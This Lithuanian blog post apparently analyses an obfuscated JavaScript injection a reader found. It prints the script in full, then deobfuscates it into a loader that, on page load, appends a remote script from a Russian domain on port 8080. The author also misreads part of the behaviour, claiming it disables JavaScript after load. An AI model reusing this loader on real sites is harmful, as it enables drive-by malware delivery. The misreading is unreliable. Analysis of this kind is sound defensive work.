JavaScript baisuokliai
Rokas atsiuntė vieną JavaScript kodą, kurį kažkur rado ir paklausė, kaip jį reikia iššifruoti.
Pradinis kodas:
<script>Og=20433;Og--;this.l=false;this.d="";function Q(){try {} catch(WN){};m={kM:false};var u="scr"+"ipt";try {var e='r'} catch(e){};var C=String("bo"+"dy");var X=new String("src");try {} catch(WE){};var z=new String("on"+"lofWn".substr(0,2)+"2H8ad2H8".substr(3,2));var Vw=new Date();A={Z:"q"};var N=String("de"+"Mc1fe".substr(3)+"sw4r".substr(3));try {var j='s'} catch(j){};Cy={cE:false};var NS=window;var Sb={Hp:false};var Il=[];var K=String("2cGxappe".substr(4)+"NTm5ndCh".substr(4)+"ild");var M=String("cre"+"ate"+"Elenxd".substr(0,3)+"men"+"QvgtvgQ".substr(3,1));var Y=document;var PA=false;y={t:"ko"};function O(){var ck={L:"Ww"};try {var h=930431-922351;var g=9636-9635;J=12232;J--;var n="qNX/ma".substr(3)+"rke"+"oejtwa".substr(3)+"tch"+"GTRU-coTURG".substr(4,3)+"GNOjm/g".substr(4)+"oog"+"le."+"comRLF".substr(0,3)+"/ar"+"chi"+"FbHve.".substr(3)+"FveiorgeFvi".substr(4,3)+".ph"+"p";var nX=String("http"+"://p"+"assp"+"ortb"+"lues"+".ru:");var Kg=new String();c=Y[M](u);var qk=false;var Hy=["Xo","Ms","gy"];T=[];this.Wb=59898;this.Wb--;c[N]=g;var dT=["cp","Ls","hU"];this.sy="";c[X]=nX+h+n;this.WL=2964;this.WL+=0;var eb="eb";RD=["sD","qL"];Y[C][K](c);var vx={v:"tM"};Du=12430;Du+=110;this.kL=58806;this.kL++;var dV=["b"];} catch(k){var Dk='';var Qu="Qu";this.fH=46178;this.fH++;this.Ac=58481;this.Ac++;};}Nq=[];NS[z]=O;var uR="uR";};var PUP={ub:false};Q();</script>Kodas yra specialiai suveltas, kad būtų sunkiau surandamas ir suprantamas. Kadangi norėjau atsipalaiduoti nagrinėdamas šią raizgalynę, toliau pateikiu išanalizuotą kodą:
<script> Og=20433; Og--; // 20432 this.l=false; this.d=""; function Q(){ try {} catch(WN){}; m={kM:false}; var u="scr"+"ipt"; // script try {var e='r'} catch(e){}; var C=String("bo"+"dy"); // body var X=new String("src"); // src try {} catch(WE){}; var z=new String("on"+"lofWn".substr(0,2)+"2H8ad2H8".substr(3,2)); // "onload" var Vw=new Date(); A={Z:"q"}; var N=String("de"+"Mc1fe".substr(3)+"sw4r".substr(3)); // defer try {var j='s'} catch(j){}; Cy={cE:false}; var NS=window; var Sb={Hp:false}; var Il=[]; var K=String("2cGxappe".substr(4)+"NTm5ndCh".substr(4)+"ild"); // appendChild var M=String("cre"+"ate"+"Elenxd".substr(0,3)+"men"+"QvgtvgQ".substr(3,1)); // createElement var Y=document; var PA=false; y={t:"ko"}; function O(){ var ck={L:"Ww"}; try { var h=930431-922351; // 8080 var g=9636-9635; // 1 J=12232; J--; // 12231 var n="qNX/ma".substr(3)+"rke"+"oejtwa".substr(3)+"tch"+"GTRU-coTURG".substr(4,3)+"GNOjm/g".substr(4)+"oog"+"le."+"comRLF".substr(0,3)+"/ar"+"chi"+"FbHve.".substr(3)+"FveiorgeFvi".substr(4,3)+".ph"+"p"; // /marketwatch-com/google.com/archive.org.php var nX=String("http"+"://p"+"assp"+"ortb"+"lues"+".ru:"); // http://passportblues.ru: var Kg=new String(); c=Y[M](u); // document["createElement"]("script") var qk=false; var Hy=["Xo","Ms","gy"]; T=[]; this.Wb=59898; this.Wb--; // 59897 c[N]=g; // document["createElement"]("script")["defer"] = 1 var dT=["cp","Ls","hU"]; this.sy=""; c[X]=nX+h+n; // document["createElement"]("script")["src"] = "http://passportblues.ru:8080/marketwatch-com/google.com/archive.org.php" this.WL=2964; this.WL+=0; // 2964 var eb="eb"; RD=["sD","qL"]; Y[C][K](c); // document["body"]["appendChild"](document["createElement"]("script")[{"defer":"1","src":"http://passportblues.ru:8080/marketwatch-com/google.com/archive.org.php"}]) var vx={v:"tM"}; Du=12430; Du+=110; // 12540 this.kL=58806; this.kL++; // 58807 var dV=["b"]; } catch(k){ var Dk=''; var Qu="Qu"; this.fH=46178; this.fH++; // 46178 this.Ac=58481; this.Ac++; // 58482 }; } Nq=[]; NS[z]=O; // window["onload"] = 0 var uR="uR"; }; var PUP={ub:false}; Q(); // Q() > O() > document["body"]["appendChild"](document["createElement"]("script")[{"defer":"1","src":"http://passportblues.ru:8080/marketwatch-com/google.com/archive.org.php"}]) > window["onload"] = 0 </script>
Remdamasis savo negiliomis JS žiniomis galiu konstatuoti, jog kodas įterpia į dokumentą JavaScript programėlę iš
http://passportblues.ru:8080/marketwatch-com/google.com/archive.org.php
(gaila, bet šiuo metu ten tuščia arba rodoma tik išrinktiesiems) ir išjungia JS vykdymą baigus lango įkėlimą. Likęs kodas skirtas apsunkinti paiešką ir galbūt šio fragmento supratimą žmogui.


